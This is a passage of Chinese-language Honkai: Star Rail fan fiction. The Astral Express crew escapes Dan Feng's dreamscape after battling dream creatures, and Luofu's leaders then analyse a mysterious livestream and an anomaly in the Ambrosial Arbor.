丹枫:嗯,多谢夸奖。
末了,他才抬头对着景元和腾骁点了点头,正色道:“是真的,应星确实梦见过。”
这样一来,直播内容的真实性又进了一步。
投影上,小丹枫对列车组抱歉表示找错了地方。
“你不知道出口的具体位置?”丹恒见状询问道。
小丹枫直白的摇了摇头,解释道:“这里没有真正意义上的出口,往常,我都是把人送回对应的梦境离去,这样他们一觉睡醒,自然就会从这里离开。”
“但你们不同,你们的精神体是通过命途之力误入的,连游云天君的虹车都通过以此为载体闯了进来,相当于你们的实体卡在了这个世界和现实世界的间隙之中。”
他继续带着丹恒几人往前走,“所以,我得找到这个世界你们和这个世界连接点,这样你们就可以直接通过自己的方式离开这里。”
三月七有些好奇往前探了探身子,“原来是这样,那咱们直接找另一个你问问不就行了吗?他作
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为能量中枢应该更清楚这些吧?”
说到这个小丹枫就有些苦恼:“作为...他确实很强大,但相对的,他不是很好说话,我也不太喜欢找他。”
丹恒敏锐的注意到他中间省略了某些介绍。
“虽然我们都是‘丹枫’的精神映射体,但我们的关系并不好,准确的说是我不喜欢他,他倒是总爱找我念念叨叨的。说起来,你们是怎么把他惹恼了?”
星抓了抓脑袋,“总结一下大概就是——”
她省去中间过程,结合始末,最终总结出一句,“他看上丹恒了。”
丹恒:......总结的很好,下次不要再总结了。
不知道是不是他错觉来到这个地方之后,他唯有沉默的次数都变多了。
“不要用这么有歧义的说法,星。”他无奈的扶了扶脑袋,提醒道。
倒是小丹枫一副理所当然的样子,“这样啊,我就说嘛,我一见你便觉得喜欢,他应当也是一样的才对,但我也不太建议你去惹他,就连我也就只有在痛骂龙师的时候能和他有点共同语言。”
三月七连忙打哈哈,“那个是意外啦,意外!。”
小丹枫的脸上流露出些许好奇,但他很快就把这种好奇压了下去,没有多问。
很快的,他依靠着感应来到另一扇门前。
一开门,数道散发着寒气的剑光倾泻而下,霜月当空,有人弯身跃至半空,翻身凌空而起,划下一道如新月一般的剑光。
“就让这一轮月华,照彻万川!”*
巨大冰霜剑光凌空劈下,在剑光波及他们之前,小丹枫直接二话不说的关上了门。
门哐当的被拍回门框之中,他靠在门上,徐徐松了一口气,对他们安慰的笑道:“抱歉又找错了。”
丹恒:......看来这次是镜流的梦境。
就算在梦境里也在照彻万川,非常符合这位堪称剑痴的剑首大人的性格。
他看着小丹枫很是熟练的举动不由得问道:“看你的情况,你经常拜访其他人的梦境吗?”
小丹枫回头笑了笑,笑容中有些寂寞,“有时候会,一般在他们都醒着的时候,会去他们的梦里坐坐。”
他转回头边走边道:“有时候会去和镜流比比剑,虽然‘我’更擅长长枪,但至少这个样子的我输了还可以耍赖说她欺负小孩。”
“也有时候会去找应星,他不全是在做金人的梦,也有时候可以好好和他喝上一杯,不过他在梦里却老是不让这个模样的我喝酒。”
“还有时候会去找白珩,她喜欢带我去看星星,她的星槎会飞的很高很高,能看到很多我这辈子都看不到的景色,在梦里也不用担心她危险驾驶,挺好的。”
他说这些的时候语气不像个小孩,倒有了几分大人那种故作放松的味道,“毕竟,现实中的‘我’是不能够随心所欲做这些的。”
说着,他们又迈步到了一扇门前,说实话经过了两者失误,丹恒已经对这个小丹枫能不能准确的找到出口这件事已经不抱希望了。
果然,第三扇门打开,里头是尚还年轻的景元。
13.一个字,干
有道是天道好轮回,苍天饶过谁。
刚才景元还在投影前呲了个大牙笑欢快,等到自己更加年轻的身影出身在屏幕上的时候,笑容顿时就从他的嘴角转到了别人脸上。
那一瞬间,景元那在后世以智策著称的大脑开始疯狂搜索自己到底做过什么梦。
梦境中的景色很是模糊,只能大概看见庭院里绿坪茵然,有纷纷粉花落进,梦中的景元看上去尚且年幼,比现在坐在投影前的那个还要年幼不少,像个慵懒的小狮子似的趴在草地上。
他的身边零零总总的围了一大片动物,有幼年的狮兽,有长成的狸奴,也有从枝头上叽叽喳喳了大半天没人理,最后自己凑过来钻在他头毛之间的团雀。
七七八八的团子毛茸茸的围了一大圈,几乎要把白发蓬的微微炸起的景元本人都要淹没了去,而他本人就跟个昏君一样,傻乎乎的在毛绒绒的海洋中这里摸摸那里蹭蹭好不快乐。
随后,一条青碧的龙尾从毛绒绒的海洋中腾云而起,鬃毛柔顺光泽,年幼的景元见了就跟看见逗猫棒似的猫般,追着那龙尾扑。
扑到了把整条龙尾抱进怀里一个劲的蹭蹭,然后发出一声满足的感叹。
整段梦境俨然只有一个主题思想——想摸毛绒绒!想摸龙尾巴!
景元看着这一幕,顿时石化在了原地。
腾骁憋着个笑,声音微微发抖的问他:“没想到你小子对丹枫的尾巴这么有执念啊?看给我们的景元骁卫馋的,这都要流口水了。”
丹枫无奈的提醒道:“我的尾巴触感没有你想象的那么好,景元。”
龙尾是他化为龙身之后的战斗使用部位之一,跟柔软好摸几乎搭不上半点关系,哪怕是看上去最为柔顺的鬃毛都是充满着韧性的。
但也不知道为什么,这群家伙一个两个都对他的尾巴感到好奇,念念不忘的想上手。
景元闻言脸上一赧,不忍直视的捂着脸,“我能不承认我做过这个梦吗?”
丹枫已经换了一杯茶,此时正淡定的吹开茶面上蒸腾的热气,“全仙舟直播,等这次直播结束之后你可以在太卜司那边看看收视率。”
言下之意就是你承不承认已经不重要了。
一想到自己梦里头犯傻的场景被整个仙舟网络直播,景元就有些绝望,他整个人就跟泄了气的皮球一般,恹恹的趴在桌上,好似人生无望。
丹枫见状只是放下茶杯,问道:“所以,真的做过这样的梦?”
景元的脑袋焉哒哒的在桌上摩擦了两下,提起声,“隐约记得一些,但也只是一个大概印象,不记得具体内容,我昨日做的梦都不记得多少,何逞是那么早之前的一个梦。”
丹枫轻点茶杯的指尖微顿,略略垂下了眸子,“是啊,谁能记得呢?”
投影上上内容还在继续,景元光顾着垫起头关注投影内容,没能察觉丹枫那微不可见的异状,只是随口问了一句。
“丹枫哥,你觉得你的梦境里会有什么啊?”
他的梦境啊......
丹枫抿了一口茶水,脑海中飞速掠过那些和自己一模一样的龙尊,既视感重重的场合,日日不休的呓语,亦或者古老而又遥远的龙目中看到的星空。
景元等了一会没等到回音,疑惑的嗯了一声转头去看他。
但他的头还没转回去,就被丹枫一只手按了回去,跟摸猫似的揉了揉他的脑袋,声音中带着一种飘忽的笑意。
“我曾梦见,我们五人共同举杯,醉至地老天荒。”
老实说,景元的梦境对列车组的冲击要比应星的梦境还要高,他们所共同认识的景元是那个在神策府高台之上慵懒淡笑,行事从容又不缺决断的神策将军。
哪怕是在丹枫遗留的那零碎的凄惨的记忆中,白发骁卫也向来是智勇双全。
现在这个梦境的反差大的不是一点点。
小丹枫似乎像是习以为常了,轻轻的关上门,贴心的解释道:“这是景元很早之前的梦境了,那时候他武艺未大成,成天跟在镜流——也就是他师父身后。”
他说着笑了笑,“镜流不是个会夸人的,更不懂得怎么亲近人,小孩压力大的同时难免会有几分失落想要点安慰。”
“其实他当时若是真的说了想要摸尾巴,‘我’未必不会同意,他是我们五个之中最小的那个,总是会有些特权的。”
三月七非常有经验的点了点头,“确实,我和她心情低落的时候去找丹恒,就很容易获得摸他尾巴许可。”
还有看恐怖片的时候,她们俩都是把丹恒尾巴当抱枕的。
丹恒在一旁面无表情,“下次我会记得拒绝你的,三月。”
听到投影上这么说,投影外的景元立刻转头,如太阳般的双眸中爆发出一阵闪闪发亮的期盼的光,“真的吗?丹枫哥!”
丹枫:“......”
“假的。”
景元闻言顿时发出一声哀嚎和投影上的三月七的声音重合在了一起。
丹恒没管三月七的耍宝,只是看着小丹枫,沉声道:“这样找下去不是办法,你还有更准确一点的方法吗?”
小丹枫沉思了片刻,摇了摇头正要开口,却突然像是感觉到了什么,面色有些凝重,“等等,我好像找到了。”
他没有多说,带着丹恒三人转身便走,兜兜转转走了好长一段路程,期间没有任何停顿,准确的停留在了一个大忆泡的后头。
他转头对着三人竖起小指头嘘了一声,转身猫着身子从忆泡旁边小心翼翼的探出头。
丹恒几人跟着他一起探头望去,只见这个忆泡的前方,乌压压的挤了一片奇形怪状的生物,有的顶着一个电视机脑袋,有的像一个机械狗,身上生着大片大片的忆泡状的增生物质。
星对这些生物再熟悉不过,“忆域迷因?!”
三月七低声道:“那不是匹诺康尼的特产吗?怎么这里也会有这东西啊?!”
“不,看清楚,三月,那不是我们接触过的忆域迷因。”丹恒皱起了眉,提醒道。
在持明目力的加持下他看的更加清晰,那只是样子看上去有些像忆域迷因,但忆域迷因身上绝对不会产生这种奇特的忆质增生现象。
而且这种增生
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方式,让他想起了仙舟上魔阴身之后的云骑军。
“这是梦境异常偶尔会产生的现象。”小丹枫眯了眯眼,水青色的眼睛微微发亮,似乎正在观察他们动向,“原本只是偶尔出现,但这段时间以来他们出现的越来越多了。”
丹恒了然,看向他,“所以你才突然感应到了连接点的位置?”
小丹枫点了点头,“你们的闯入本来就是梦境的一种异常,造成连锁反应也不奇怪,但是这样一来就麻烦了。”
“他们诞生的目的是为了消除异常,但怎么消除异常不在他们的考虑之中,他们只会连带着异常,把正常的存在也一起破坏掉。”
丹恒明白了他的意思,“他们会破坏我们和外界的连接点?”
小丹枫轻轻嗯了一声,“一旦连接点被破坏,你们和现实的联系也会被破坏,那就危险了。”
“懂了,全部干掉就可以了对吧?”星闻言就要拉起袖子,被小丹枫先拦了下来。
“除不完的,你们没有离开,异常就无法消除,连锁反应就不会停下,但我没有什么战斗能力,得去叫另一个我帮忙。”
丹恒看着那些迷因前进的方向,那个方向的尽头,忆质的墙壁上破开了一道微小的间隙,他闭上眼,将感知放到最大,确实从中感知到了隐约的开拓力的留存。
他睁开眼,很快就做下了决断:“但看他们的速度,我们已经没有什么时间了。”
他和星、三月七相互对视了一眼,彼此点了点头,像是在这眨眼之间相互确认了什么。
小丹枫:“?”
“不消灭他们,我们也无法离开。”说着,丹恒看向他,“你有办法自保吗?”
小丹枫不知道为什么有了一种不祥的预感,他点了点头试探着问道:“所以,你们是想?”
星掏出自己的球棒,三月七掏出了自己的弓箭,就连丹恒都已经召出了击云枪,他们异口同声的回答他,“直接干!”
小丹枫:“???”
不是?你们星穹列车,或者说你们无名客就是这么莽的吗?
星还念叨了什么守则,最后直接大手一挥,告诉他,“反正咱们无名客守则最后总结就一个字,干!”
小丹枫:虽然他不知道无名客守则到底是啥,但他敢确定绝对不是这么个意思!
三月七和丹恒似乎是吐槽了太多次,已经懒得吐槽了,但他们的身体很诚实,明显也是将这种说干就干的风格贯彻到底的样子。
丹恒先领头凑到了忆泡边上,握着击云的手微微紧了紧。
“观隅反三。”三月七给三个人都上好了盾。
小丹枫微微一怔,抬头看向他。
“君命无二。”星将球棒换成了炎枪,枪尖火光燃起,嘲讽待发。
“凭城借一!”
几乎就在话音落下一瞬间,丹恒手腕翻转,身若游龙,手中的击云脱手而出,从小丹枫的头顶飞了出去,一枪爆头了跑在最前头快要触碰到裂隙的迷因。
迷因群瞬间回头,无数双眼睛瞬间盯住了丹恒几人,狰狞的嘶吼吹响了战斗的号角。
14.加班是个坏文明
“漂亮!满分!”
星顿时大喝一声,上前两步,“不愧是传奇击云标枪冠军——丹恒老师!”
“好啦!别在那边解说了!赶紧过来帮忙!”三月七拍了她脑袋一下,让小丹枫藏好,自己架起弓,弦如满月。
丹恒那一枪吸引了大部分的迷因的注意力,为了消除异常而产生的迷因见到‘异常’本身后自然就放弃了破坏连接点,转而将矛头指向列车组。
丹恒一马当先冲在前头,原本飞出去的击云已经被召回到自己的手上,飞奔的脚下有青绿的风渐起,灰蓝色的眼睛深处有波光闪动,枪尖的朝向直指裂隙。
虽然说他们决定直接开干,但也并不是打算毫无章法的盲干。
和一群会源源不断自我产生的怪物打持久战和歼灭战都是不明智的,只会让他们被困死在无止境的战斗中,他们需要并不是彻底歼灭敌人,而是制造出一个空挡。
他一枪捅穿了一只迷因的脑袋,感受着手下的阻力,双眼微眯,比想象中还要强一些。
——一个能够让他们驾驶列车离开这里的空挡。
只要他们离开这里,连锁反应就会停下,一切自然迎刃而解。
所以,这场战斗最终的目标,是为列车打开通道。
“帕姆,听的见吗?”他呼唤着列车长。
虽然列车上的通讯设备都基本不能使用了,但他们和列车此刻都依托于开拓力进入的这个世界,在已经钉下锚点的情况下,以开拓力为基底的交流频道还是能够勉强进行通讯的。
“嗯嗯!丹恒乘客,很清晰!”几声窸窸窣窣的回音之后,列车长的声音在他们耳边清晰了起来。
丹恒一心二用道,“列车的行车仪还能够定位到我们现在的位置吗?”
开拓记录仪同样和跃迁系统一样依靠开拓力接收开拓行迹,如果没有猜错应该也能够正常运作。
“可以帕!”
那就没问题了。
丹恒眸光锐利,“帕姆,等会我们一发出信号,你就将驾驶列车跃迁到我们现在的位置。”
“等等,直接吗?”在同样频道旁听的三月七震惊道。
丹恒手下不停,一枪扫开了牵扯着自己的两只迷因,“梦境不同于现实世界,本质上没有固定通路,现在列车也是以开拓力为载体,并非实体,完全可以直接进行跃迁。”
这招星太熟了,“懂了!直接开创!”
“怎么样?”
“没异议!”
“丹恒老师靠谱!”
列车现全部乘客意见统一,帕姆自然也没有意见,没多久就给出了回答,“收到,列车已经进入准备状态,随时可以进行跃迁帕!”
丹恒稳下心,他目光看向前方,估算着现在位置到忆质间隙的距离,这个距离,他一招云吟术应该可以直接清空,唯一要注意的是要收着点力,不能直接撞上连接点所在的裂隙。
他握着长枪的手亮起青蓝色的荧光,周身水纹渐起,却听见三月七的惊声传来。
“糟了!小丹枫那边!”
他蓦然回头,才发现小丹枫已经被迷因团团包围,整个人几乎陷在了迷因群的阴影中,无路可逃。
怎么会?!
丹恒注意过,小丹枫虽然没有什么战斗力,但是确实掌握着基础的力量,在赶路的时候也能运用重渊珠对自身进行增幅,拥有很不错的机动性,哪怕打不过也能跑。
那些迷因的目的是为了消除异常,主要攻击目标应该是他们这些‘异常’的闯入者,但小丹枫本就是镇守在这的‘饮月’之一,在没有进行攻击的情况下,不应该会吸引这么多了迷因攻击他才对。
那一瞬间,丹恒脑袋中闪过万千思绪,眼见巨大的生着枝杈般一直增生的狰狞爪牙就要朝小丹枫拍下,他手下的枪头却已然掉转方向,一声龙吟就要破空而出。
“吼——!!!”
震耳欲聋的龙吟从天而降,巨大的水龙长啸着携着遮天蔽日的浪花直冲而下,淹没了所有迷因群,那并非是出自丹恒的身侧,而是来自他们的上空,来自高悬的银盘之上。
“劫水,濯世。”
冰凉的好似深潭之水一般的声音伴随着叹息,遥遥传来。
圆月前,那头生角冠的龙君踏水而立,衣袍上的红枫与白鹤猎猎作响,居高临下的俯瞰着尘世。
他单手轻抬,水浪便从身后涌起汇成巨龙将迷因群从中间冲开,留下一条空白的过道,水浪裹挟着迷因的身躯,将他们推向两侧,牢牢的禁锢着着它们的行动。
过道直通裂隙,十分宽敞,丹恒甩开水雾顺势抬头望去,正好与那略显暗淡的眼神撞在一处,那眼神平静、淡漠,又带着一种让他毛骨悚然的古老,却在看着他的时候流露出些许叹息。
此时此刻的场景与他的梦魇一一重合,恍若幻梦的再现,片刻之后,一声微不可闻的轻叹落下,他听见那人说出了当初同他背对而立的心魔一样的话语。
“离开这罢。”
“帕姆,就是现在!”
丹恒没有犹豫,几乎就是同时的,他向帕姆发出了信号。
奔驰寰宇的列车毫不犹豫的闯过迷离颠倒的梦境,突破各种忆泡和忆质层,划破了这片只有圆月永远高悬的黑夜,堪称横冲直撞的来到他们面前。
“快上来帕!”
帕姆啪的一声打开列车车门,着急的呼喊他们上车。丹恒就近拉了一把三月七,自己垫在最后面,直到两个同伴都已经上了车,才回头看了一眼。
小丹枫已然安全,他的重渊珠被大的那个征用了,只能坐在水龙上生闷气,见他回头,还朝他招招手,说了什么。
距离的有点远,丹恒没听清,但他看见了那含糊不清的口型。
他说:“再见。”
丹恒没有再停顿,径直登上了列车,列车上,星已经正襟危坐在了驾驶室内,这回跃迁没有固定目的地,只能先采用人工驾驶了。
三月七已经扶好了座椅,死死扒着观景车厢的沙发背,帕姆的广播适时传来,“各位乘客,时间紧急,大家扶好坐稳!”
末了,星的声音兴奋的接上,“冲呀!”
轰的一下,真的是轰的一下,丹恒怀疑她又是直接将油门踩到了底,仅仅一瞬间,白光自他眼前闪过、收缩,最后回归成意识中的一片黑暗。
黑暗中,他模糊的听到了有人在说话。
“他们已经过去了?”
“嗯
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,刚刚成功。”
“你看起来好像一点都不担心,不怕她出事吗?这一次的游戏难度可不输列神之战,艾利欧都无法确定剧本的结果。”
“这是她的选择,正因为那是艾利欧都无法确定的结果,一切才皆有可能,不是吗?”
“希望别打出一个太糟糕的结局,她这样的游戏搭子可不好找。”
“你有兴趣了?”
“免了,我可不想掺和进【欢愉】的剧本里,那家伙把剧本改得艾利欧都抓狂了,基地里现在到处都是猫毛。”
“说起来,我们就这么在这里对话,他不会听见吗?”
“不用担心,如果他想要知道,无论我们做什么都瞒不过现在的他,走了,阿刃,我们该开始行动了。”
随后,声音逐渐远去,模糊,对话的内容逐渐消失在黑暗里,仿佛不曾存在过,一切重新归于寂静,只有隐约的浪涛声静静的在他的梦中回荡。
在列车再度进行跃迁的同时,仙舟上的直播也终于告一段落。
已经暗淡的屏幕在显示直播结束后自动弹跳出提示框。
【
直播序章:已结束
任务:记忆是梦的开场白(已完成)
地图:长梦之地·中枢区(已开启)
直播奖励:弹幕权限(将在下一次直播开启)、地图探索权限、地图掉落物获取权限、直播参加权限。
】
“简直跟游戏战斗结算一样。”景元看着这个提示截了个图,感叹道。
他们一直看到现在,直播那边的时间流速和仙舟上的时间流速估计来看几乎一致,等直播结束,罗浮上也已经是月挂枝头的时候了。
“如此看来,这个空间在直播里还有后续。”
腾骁看着直播结束后的界面,叹了一口气,直播虽然暂时结束了,他们却不能直接放松,“罗浮接下来恐怕要乱了,可真是一波未平一波又起啊。”
既然有参加权限,那么他们这些人就不可能只是一群可以悠闲的看着直播获取信息再进行行动的观众。
欢愉的大手一旦搅动起来没人可以置身事外。
“将军,直播相关的录屏和记录都已经备份,要现在送到太卜司那边进行分析?”景元问道。
“嗯,先看看能分析出多少吧。对了,饮月。”腾骁点了点头,又看向丹枫,“接下来...”
不用他说,丹枫也知道自己是跑不掉的,他放下了茶杯,淡声道:“腾骁将军放心,此事既然已经涉及丹枫,丹枫自会配合。”
腾骁大咧咧的笑了笑,“麻烦你了,若有难处就同我说。”
他拍了拍丹枫的肩膀,抬头看了看天色,松快了一下身子,“至于具体的讨论就放到明天吧,今日也晚了,若是手头上没什么要紧的就...”
他话还没说完,就被神策府内的策士匆匆叫住,“抱歉,将军,您还不能下班。”
——“刚才天舶司来报,星穹列车在玉界门已经关闭的情况下突然跃迁至罗浮港口。”
腾骁松快身子的动作一顿,深吸的一口气还没吐出就被咽了下去,认命般的抹了一把脸,“我知道了。”
得了,今晚这个班是加定了
15.分析
神策府。
腾骁坐在高台中央,目光飞快的扫过手上刚刚新鲜出炉被递交上来的汇报,旋即挑了挑眉,“只是虚影?”
“是的。”狐耳的策士回答道:“经天舶司职员确认,那辆突然出现在星槎海港口的星穹列车只是一个虚影,无法进行接触和交涉,目前天舶司正在协同太卜司确认是否有人为投影的可能性。”
腾骁低头看了看现场拍摄作为留痕的照片,照片上,夜色已至的的星槎海港口,充满古典气息的列车静静的停在港口,列车没有亮灯,从外部透过车窗只能看到一片昏暗,好像整辆列车都陷入了沉睡一般。
一切都很和谐,除了这辆列车实际上的不透明度只有百分之八十。
“检查了玉界门相关的控制系统了吗?”腾骁继续问道。
策士点了点头,“天舶司对这方面也进行了检查,具体的报告还无法给出,但大致能够确定,玉界门曾经出现过非常短暂的一次故障。”
“故障?”
“不是技术层面上的故障,在星穹列车出现在罗浮大约一分钟之前,控制玉界门的虚数能量在没有外部干涉的情况下出现异常反应。”
听到这,腾骁的头就又痛了起来,要知道,整个仙舟联盟运行所依靠虚数能量几乎都来自巡猎命途的虚数力。
难道说这件事还扯上了【巡猎】吗?
应该不会...吧...
腾骁越想越不确定了,他真的很难想象自家帝弓司命和常乐天君混到一起的情况啊!
“太卜司那边有什么发现吗?”。
策士摇了摇头,“影像录屏景元骁卫已经送过去了,尚未出结果,太卜大人已经重新启动穷观阵。”
腾骁微微颔首示意自己明白了,“让天舶司暂时密切关注将星穹列车停靠的港口,照旧做好接驳相关的准备和招待工作,有关星穹列车的任何事宜都要以最快速度上报神策府。”
策士听到这里愣了一下,“将军,您的意思是...”
腾骁叹了一口气,“我也没什么依据,只是为了以防万一罢了,再说,七百年之后的星穹列车穿越时空千里迢迢的来到了现在的罗浮,若有缘分,我们可不能失了礼数。”
说着,他笑了笑摆手让策士照着去做就好。
等那策士走远了,另一旁的丹枫才淡淡开口,“将军是怀疑星穹列车会变为实体?”
腾骁看着座子上的资料苦笑,“都把直播现场摆到罗浮了,那么我们被卷入其中也就是早晚的事,早做预防才能使我们不那么被动。”
“星穹列车的美名传扬星海,虽然已经失落多年,但我仍愿意相信它的后继者,况且...”他顿了顿,笑着看向丹枫,“咱们饮月君的转世之身不也在车上吗?”
星穹列车来自七百余年后,算算时间,丹恒正好就是丹枫的下一世。
丹枫没有否认,实际上也没有否认的可能性,丹恒那张脸,所使用的长枪击云,击云上的重渊珠,以及战斗间融会贯通的云吟术,这几乎是把龙尊转世写在脸上。恐怕过几天其他几位龙尊的通讯都要打到他这来了。
他和腾骁对视了片刻,郑重其事的声明道:“他不是我。”
完了还想了想,似乎觉得又不够,又补了一句,“我也不是他,持明蜕生,当视为两人。”
言下之意是,你别拿我当参照物,我两不是一个人。
“嘶——”腾骁被他这话堵的一愣,给气笑了,这人是搁他这发切割声明呢?“那按你这么说,我还应该怀疑你的转世之身了?”
丹枫若无其事的转过头,“相信将军自有判断。”
反正就是一句话,他,丹枫!不是丹恒!
腾骁拿他没办法,无奈摇了摇头,没有再纠结这个话题,“行,他不是你,你也不是他。虽然太卜司那边的分析还没出来,不过大致的情况还是可以确认的。”
“直播中,星穹列车一行应该并非捏造而是真实存在于七百余年后的人物,由此判断,星穹列车几位对话中透露的信息可信度极高,但除此之外...”
景元上前一步,接着他的话继续道:“长梦之地、星穹列车遇到的两个丹枫哥,以及他们透露的消息都还有着不同程度的存疑。”
“目前可以确定的是,这个直播的目标很有可能就是丹枫,整段序章与丹枫有关的内容就占了大半,但...”
他微微皱眉,“目前找不到获益者。”
任何行动皆有目的,有目的就一定有受益者,虽然这位受益者未必就是始作俑者,但也一定是一切计划的核心之一。
但现在疑似核心的‘丹枫’并没有获益,相反还获得了因转世而产生的猜忌,景元甚至不用想就知道丹枫回去后,那些知晓此事的龙师会怎么闹腾。
丹枫闻言却摇了摇头,“不,我们就是获益者,它透露了未来。”
“丹恒手上还带着游龙臂鞴,所使用的枪法也是云骑枪术。”他说着抬起手,目光落在手上单只的臂鞴,“这对臂鞴我从未想过留给后世。”
丹枫在这方面分的很清楚,击云是应星所造的利器无论出于对战斗的助力,还是为了让挚友的杰作继续流传,他都会把击云留给后世。
但游龙臂鞴不同,它是极具私人性质的物品,是丹枫这个个体和丹枫的挚友之间的情谊,和他的后世没有半点关系,他也从未想过要将这东西留给后世,他的后世也应当不会继续佩戴。
可这样一个东西,偏偏戴在了丹恒的手上。
景元他们没想到是以为饮月君转世重生自然会继承上一世的遗留,但只有丹枫知晓,历代饮月都十分不喜继承上一世的私物。
“原来如此...”景元这才明白他的误区在哪,他将丹枫留在丹恒身上的痕迹视为了理所当然。
不止是游龙臂鞴,在最开头丹恒的出场立绘上就有大片的红枫,可是在丹枫之前,并没有以红枫为标识的饮月君。
而且——“丹恒的云骑枪术非常熟练,出手精悍没有一丝生涩,战斗方式非常娴熟,应该是长期练习的。”
可问题是,持明族有自己传承的枪术,比如丹枫他所习的便是持明
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族历代饮月君总结改进后的版本,可丹恒却似乎完全不会。
不止如此,罗浮的持明龙尊自结盟之始就承担着守望丰饶建木的职责,世代如此。
这是持明族能够如此受优待的根本原因,也是为什么每一任饮月君自诞生之始便备受联盟关注,甚至在联盟的政治场上也能天生有如此地位。
可本应如此的饮月君剧却在某一任转生之后,没有继任龙尊反倒跑去当了星穹列车的无名客,其中的问题就大了。
仙舟联盟不可能无故让负责守望建木、封印建木的龙尊长期脱离罗浮,罗浮的持明族也不可能任由一位天生拥有如此力量、身怀如此政治资本的龙尊缺位。
那么就只有一种可能,丹枫未来出事了。
“未来出现了大变动,丹恒甚至很可能脱离了持明族甚至罗浮,所以才会携带上一任龙尊的私物并且长期脱离罗浮...”他喃喃自语道。
景元几乎不敢再继续深想下去,到底是多大的变动能够使联盟默认一位拥有封印建木能力的龙尊离开?
他呢?难道没能帮上忙吗?就算他不行,他师傅、白珩、应星,他们几个全都无计可施了吗?
还不等他脑袋里的思绪继续翻滚,丹枫便打断了他的胡思乱想,他的尾巴轻轻的揉了揉景元的脑袋,把那跟猫似炸了毛的脑袋揉的左摇右晃,“别多想,景元,他既然还携带着击云和臂鞴就说明受到了旧友的照顾。”
否则这些属于他的旧物不会出现在丹恒的手上。
景元没有吭声,只是深吸了一口气,点了点头,继续正题,“但直播的目的依旧不明。”
总不会就是让他们改变未来的吧?世上哪有这种好事,未来灾难便有星神回到过去给予提醒?
“这一点恐怕就只有等后续的直播才能进一步了解。”腾骁感叹道。
“至少从星穹列车的判断来看,常乐天君不会真的伤害列车的无名客,毕竟...常乐天君曾经是星穹列车的无名客。”
说到这,腾骁的嘴角都不禁抽了抽,这话说出去谁敢信啊,阿哈居然曾经老老实实的去做了无名客,甚至还算是个合格的无名客!
这年头星神也好、龙尊也好,怎么全转职去当无名客了?
“从这个角度来说,星神直播的危险性也许没有那么高也说不定呢。”
腾骁乐观的态度并没有给予景元多少安慰,讨论结束,他就被腾骁先行赶了回去,“行了,剩下的交给我们就好,小孩子早点回去睡觉,免得以后长不高。”
少年人还在长个子,只要可以,腾骁都尽量让他保持正常睡眠。
已经快能和丹枫比个头的景元不服气的鼓了鼓嘴,还没说话又被丹枫拍了拍脑袋,把镜流的训练搬出来堵他才让他作罢。
景元走后,腾骁才和丹枫谈起其他事。
“对了,你之前说的要来找我商谈的要事是什么?”他端起杯子,打算润润喉咙。
“没什么。”丹枫面色淡定,语速轻缓,“只是我发现,建木有异。”
“噗——!!!”
16.真正的讯息
腾骁一口水喷了出来,他来不及顾及形象和礼仪,震惊道:“这么重要的事情你不早说?!”
丹枫依旧不紧不慢的模样,“不急。”
腾骁用一种‘你要不要听听你在说什么’的眼神看着他,神情仿佛在说你看我信吗,“你管建木有异叫不急?”
但丹枫是真的觉得不急,说话的语速都慢条斯理的,没有一丝紧张感。
“不必惊慌,我已作过检查,建木封印完好,没有任何可以物品和能量源在附近,也没有任何生长迹象。”
“只是...”他垂眸,“被不朽龙力压制的丰饶之力产生了异常波动,这才被我察觉。”
那感觉就好像沉睡的植物人突然翻了个身,虽然依旧还是睡着的,却也足够吓人一跳。
“又是异常波动?”腾骁皱了皱眉,想起了玉界门的故障时产生的虚数力异常波动,“太巧了。”
“腾骁,这不是巧合。”丹枫轻叹道,“建木内部安然无恙,唯一的可能便是收到了外部的刺激。”
腾骁闻言脱力般的往椅子上一坐,身体靠在椅背上,整个人后仰,捂着脸发出了一声痛苦的呻吟。
他诚心诚意的发问:“你知道这意味着什么吗?”
如今星神直播的重点几乎全在丹枫身上,丹恒的情况就差明着说丹枫犯事了,他这时候说建木有异,几乎在等于再往自己身上背黑锅。
丹枫站在原地,看着窗外微微颔首,“无碍。”
“我很有碍!!!”腾骁抗议道:“你以为那些公文是先发到谁这边啊!”是他这边啊!
他叹了一口气,把手放了下来,收起了玩笑的表情,沉思道:“直播透露的讯息如今还只算是无稽之谈,绊不着你,但建木之异事关重大,哪怕只是微不足道的异像我们也必须重视。”
他看向丹枫,“你有对策吗?”
丹枫轻轻点了点头,“以防万一,我会重新加强封印,正好我族奠仪常在筹备之中,我会在奠仪之上祭舞,加强建木封印。”
“好”。腾骁点了点头,“这段时间麻烦你加强对建木状况的监控,此事暂且压下不要声张。”
另一边,景元自神策府离开之后并没有直接回到云骑军的宿舍,而是去了金人巷的一个食肆。
此时虽然已经月上中天,但金人巷专门做夜间的食肆仍旧灯火通明,烟火气十足,店铺周围坐满了人,他还没找到座位就看见隔间的墙边上一个狐人女子冒出大半个身子,朝他招了招手。
“小景元,这边这边!”
景元忙不迭的跑过去,往隔间里头一看,四四方方的小桌边上已经坐了三个人就剩下一个空位,那是专门留给他的。
那正是云上五骁的其他三人。
“白珩姐!应星哥!师父!”少年人乖乖的挨个叫了人,他座位正对的正好就是镜流,叫人的时候见了下意识的缩了缩脑袋。
他明日还有训练,今夜不好好休息,反倒是把人叫出来,此时看见镜流就有种老鼠见到猫的心虚感。
镜流见他这模样就知道他在想什么,也没追究,只道:“下不为例。”
景元这才松了一口气,一屁股坐到座位上,被座位旁边的白发匠人顺势揉了一把脑袋,“说吧,大晚上的找我们什么事?小孩子不睡觉可是会长不高的。”
景元啪的一下打掉了对方的手,猫似的呲了呲牙,但到底没像往常一般和应星闹起来,而是单刀直入道:“是关于丹枫的事情。”
他这回没叫哥哥,面色肉眼可见的沉凝了下来,其他三人见了相互对视一眼,不禁坐直了身子,手上的吃食都放下了。
应星放下酒杯,曲着手指,用指背敲了敲桌面,立刻就联想到了下午的直播,“说清楚点,发生了什么事?和下午的直播有关系?”
也是,不然这小子也不会这么急匆匆的大晚上把他们叫出来。
景元沉声道,“此事太卜司尚未给出结果,但有常乐天君的干涉,恐怕太卜司也未必能给出多少有用信息,我接下来说的是我擅自做出的判断。”
他将下午对丹枫说的判断简略的概括了一下,又喝了一大口水,继续道:“我并非信任直播的每一句话,但背后之人借这段内容传达出的讯息我却无法不重视。”
“今日直播之事剥离开表象,可以简单的囊括成三件事。”
他掰起三根手指头,“其一,是丹枫为了一个无人知晓的责任付出良多,其二,此事与历代‘饮月’皆有所关联,其三也正是我现在最担心的一点——”
他抬起眼,看着几个哥哥姐姐,声音艰涩:“丹枫的精神状态恐怕出问题了。”
